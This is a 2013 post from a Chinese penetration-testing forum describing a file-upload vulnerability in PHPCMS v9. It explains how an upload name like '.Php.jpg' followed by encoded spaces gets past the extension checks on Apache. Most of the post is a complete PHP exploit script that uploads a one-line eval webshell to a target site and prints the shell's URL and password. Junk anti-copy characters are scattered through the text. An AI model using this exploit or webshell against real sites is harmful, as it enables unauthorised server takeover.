中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
6 Z& v5 J3 [6 Z" {( Y2 Z* p& V' T, Q# K3 M' z2 r
简要描述:
( J- s# M! D1 B! i8 u* x$ k1 l9 A8 R; U: V3 r+ q! {
phpcms v9 getshell (apache)/ W9 l, m& Z# @
详细说明:
9 z  v4 L/ d* b9 u2 \) i! k
" S* p1 M5 @& i( e+ `" n漏洞文件:phpcms\modules\attachment\attachments.php
/ p! C) P; M9 h6 n/ F, m+ X5 }8 b) f$ x# Q4 \  Z6 E
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 3 _& v; ?  c4 S& L, ?( W
后缀检测:phpcms\modules\attachment\functions\global.func.php! W1 K9 W1 R  |, S9 i

3 F2 Y# Z9 Z( t: Q/ \4 F
% L: j: ]4 c) n& J) J, }$ }) d
) I# A0 o6 ^% rfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  2 b' q" t! Z0 m8 G* J; T* n
/ ]$ \0 s  _: W. P* M# h
关键函数:" h# t' t! B; W

4 C2 V8 W5 w$ b( S2 s6 [* x " X+ w* c, x( k2 U) N
1 P* D5 \' H: D/ ?
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  3 N8 T$ t0 l1 e8 x" _- a
- y% s% a, N; i2 r$ J2 B3 m3 h4 P, r
  Fileext函数是对文件后缀名的提取。5 K: i2 C$ b  R: [
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
+ `- }3 N, S4 ?5 m经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。/ ?2 \/ {  Z2 \& M) j$ q. t
我们回到public function crop_upload() 函数中
, j! K# R. l" ^if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();! k2 n; J3 X  m  U4 a. z4 g
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数' F' ?/ }' L+ r4 q8 M; z! f
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。$ U* h1 u; \7 l5 ~2 L
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。- C4 b/ J) C2 Y, V
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。/ N, f6 h$ ^% u0 x- A& ~. W
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。+ ^# N5 L* L8 }$ A$ Q/ T8 O) ^5 F
漏洞证明:
) T' C* W8 |. X3 ?4 e) @  H. a# O# u6 c$ S6 [6 k
exp:$ S, W3 K* z0 _' W: q

; q1 t! v0 B: ]5 T6 }4 |$ h<?php
% t, n" J1 J" ~+ Perror_reporting(E_ERROR);% Z- e! G: Q' f
set_time_limit(0);* G. A* F/ f) x
$pass="ln";: r9 C- N; ?. }& q
print_r('
7 y( Q9 o1 I$ N7 Z+---------------------------------------------------------------------------+
' x. |; F; T- \/ nPHPCms V9 GETSHELL 0DAY
6 g5 N  |$ u! Ucode by L.N.
3 r7 K6 y& i+ }. T% L& N* {5 d
: }1 t2 V9 K/ v5 H1 E* X4 A: B% eapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net) r) q  y- a6 y! Z- T1 j
+---------------------------------------------------------------------------+
6 I. k" J* j1 [4 v/ l1 X');
" e+ }* A. k: ?8 ]$ T1 o( p+ o+ M' ~, f: ?if ($argc < 2) {3 z8 f6 t, ]# L1 b1 _. R
print_r('. r$ l3 ]. ~  c* g- o/ X+ U
+---------------------------------------------------------------------------+
+ A7 k2 N! `4 Q2 iUsage: php '.$argv[0].' url path
$ H! v, x! d, t: `. _# S, B5 ^; s8 N% o
Example:( D# \9 n: `, ?2 }5 F
1.php '.$argv[0].' lanu.sinaapp.com
/ y# A! S. S9 m, x2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 J; t0 Y& e- b. e: U8 u5 A* W
+---------------------------------------------------------------------------+& `; A- ?$ p/ l
');
$ {% ^$ R  s( \exit;: E0 W9 r+ @3 i  h3 j  s3 {
}0 s7 B3 y: D' t% I1 x2 J
& r4 J( D# ?! e
$url = $argv[1];
, B0 _1 U* `! [0 B7 e0 J& x$path = $argv[2];; [% s- J% u1 M0 B% u! E- U; R" B( `
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';* d# [2 Y6 m8 v2 N8 D  l
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';4 O4 d4 N$ s# ^% t
if($ret=Create_dir($url,$path))
' v7 h( P# g0 u2 L8 W{7 u! B7 u; o7 ]1 \3 j6 M9 g
//echo $ret;4 G8 ]( A7 C. N8 U, p
$pattern = "|Server:[^,]+?|U";5 R$ f; L) b- N
preg_match_all($pattern, $ret, $matches);
" [. V7 V7 i  f& ~! ~! {& ?if($matches[0][0])
+ a5 r, v4 _0 d* f' m& G{* k& h& B3 ]' q3 ~  S* T
if(strpos($matches[0][0],'Apache') == false)$ x" n. J3 f) |% J) N/ D
{
/ e$ \4 U$ D. Secho "\n亲!此网站不是apache的网站。\n";exit;
/ z  x1 B) b% ^' I/ V, G}
" O& I4 }3 n7 ]# L; E; u# O}) R8 g! G  K! B" c4 G8 N
$ret = GetShell($url,$phpshell,$path,$file);
( r; p; _/ S6 H$ ^# @- e$pattern = "|http:\/\/[^,]+?\.,?|U";
! i$ g8 x  C9 z" g# @preg_match_all($pattern, $ret, $matches);
2 K. Z5 ^( j: e% H7 |: uif($matches[0][0])
, {7 A5 L$ n$ K& D: S/ u6 N{
; N. ^1 ^  Q% i  x" @6 }% x4 H$ necho "\n".'密码为: '.$pass."\n";
# r, I  \5 _  w% s& A( f; recho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;' f+ ~4 Q" O/ s% G  O
}
9 n. A1 ]5 d9 K( Q5 o$ K1 telse/ y8 _% F- U: y: m" D
{! h. W  ?  [+ ?
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";: S! H+ |. z& a% @5 E4 G4 D
preg_match_all($pattern, $ret, $matches);  Z( L/ c. c& }9 ^% r  l& A3 B; ?
if($matches[0][0])
! L% R8 ?: e/ Q5 o% O" X{
% G/ \  p$ R6 e! R* lecho "\n".'密码为: '.$pass."\n";
7 `: V+ b) h& u. f- P+ g9 ~; Techo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;* O) {2 I2 J7 S: \, G( S2 n
}" j  O9 Y  U" J$ ~+ _
else+ s5 W; ]. _; t
{
0 P: Q) ^+ o: F  u7 L# j+ f" zecho "\r\n没得到!\n";exit;
+ F1 O% W+ Z) _9 C! ?1 ~, r8 K}
  m/ {3 w9 C4 v. [. o}
0 O8 l# F7 {: P3 j* e}' P3 G4 z% [( P2 D; p3 o8 S

; q" X* e! D% T# }function GetShell($url,$shell,$path,$js)7 v) T) e* `5 e" ^8 n% }
{
' `4 y) ]' Z9 ?- O0 f$ B: z$content =$shell;' a) L9 F- q! J" N  P9 }! f9 d
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";6 j7 l- N3 p  p9 K
$data .= "Host: ".$url."\r\n";
6 V" A# y, @/ y2 L/ ~6 s: n& \! i$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";2 a+ T- J* R# n
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) {9 h' T% z8 h8 A  y6 I$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; a7 s  L5 W+ Z- l/ ?4 t
$data .= "Connection: close\r\n";
* ?2 A/ X* C7 A$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* g% I1 m- t- X8 V$data .= $content."\r\n";
' N0 k; |$ G( d$ock=fsockopen($url,80);
! S9 }+ I6 e- m/ Uif (!$ock), k# c, h6 l6 \  ?+ q
{/ e# h4 |. M- |* U2 p
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
8 j: w" O, r# C- I( A1 a7 K2 n}
. X6 z7 T- U, i5 Y2 Oelse  j  P1 d, W/ d) j7 S8 F
{
# w, I7 ^# j3 X: Z8 s5 N+ {9 E) _: Rfwrite($ock,$data);4 C; ]. F" Y+ |2 N# m; z% }4 k
$resp = '';
4 W# e$ u( n% U' z5 k; \while (!feof($ock))* ^7 N6 R; z9 Z7 K2 [1 D' ?: d
{
1 m* [( T/ |2 S! |" ?$resp.=fread($ock, 1024);$ P( Y& Z( l; |7 W4 q
}# V/ \: p/ ^+ N. ^
return $resp;6 R7 Q5 P* P3 Z: \
}
. c: h7 ~4 X* g% S1 P' X}  p- a: h3 o1 f7 n- Z7 k7 q

0 P: [7 K5 f5 V0 rfunction Create_dir($url,$path=''), T8 |! l' B6 q, ?) K5 s8 `* a! t& H
{* n( v9 [9 g% m6 e1 W8 t9 K
$content ='I love you';' c4 v9 h9 E0 g7 L) ~" V, m, P
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";* P9 m4 K2 q- ^# P* f: N
$data .= "Host: ".$url."\r\n";9 f0 K. B1 r( {/ I$ C3 P+ M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 b( ]. `; c$ v! U$ A% e2 x. V3 S$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( v; ~( A! f! [0 n) ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* R) o: s& P& U6 k1 O
$data .= "Connection: close\r\n";
' r" u4 G& M7 l1 |9 R1 t$data .= "Content-Length: ".strlen($content)."\r\n\r\n";4 P' K; @4 y' ?* ]  M! R
$data .= $content."\r\n";
7 C8 T! R2 O- M, L$ X$ock=fsockopen($url,80);
, @9 g* p" |1 _- Q  c, ~7 I7 hif (!$ock)
* t! N& I8 \* O4 y{
8 f1 \  @7 }9 x$ j6 `echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;4 K4 R' X! p; M* l8 d9 W
}
* a* w9 E- ]2 V% afwrite($ock,$data);
0 D; Z$ n/ t. n5 W$resp = '';
6 @) F- w1 t- H0 N; R, Gwhile (!feof($ock))8 {" g; F, u# `% _9 o& K* o
{
7 M6 J9 {. j0 S, ?5 p$resp.=fread($ock, 1024);( ]- g* g6 n; R# ^( ^/ o5 z
}# |) F' r) Q; c8 S8 o
return $resp;" X9 N# x; p; H3 P" z
}( K( A. F# |- m7 g
?>
- S& V" J1 W: Y8 a0 m& K2 e6 a : U) k* K" A' {: u7 S& W
修复方案:1 a5 D+ t" H! Y( d3 ]' a7 t
$ R7 D# i3 s, P
过滤过滤再过滤
( L* o& i$ N# q0 [: T# @# f/ H, X, J, q  P2 Y7 Z7 T: B7 T& a! k





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2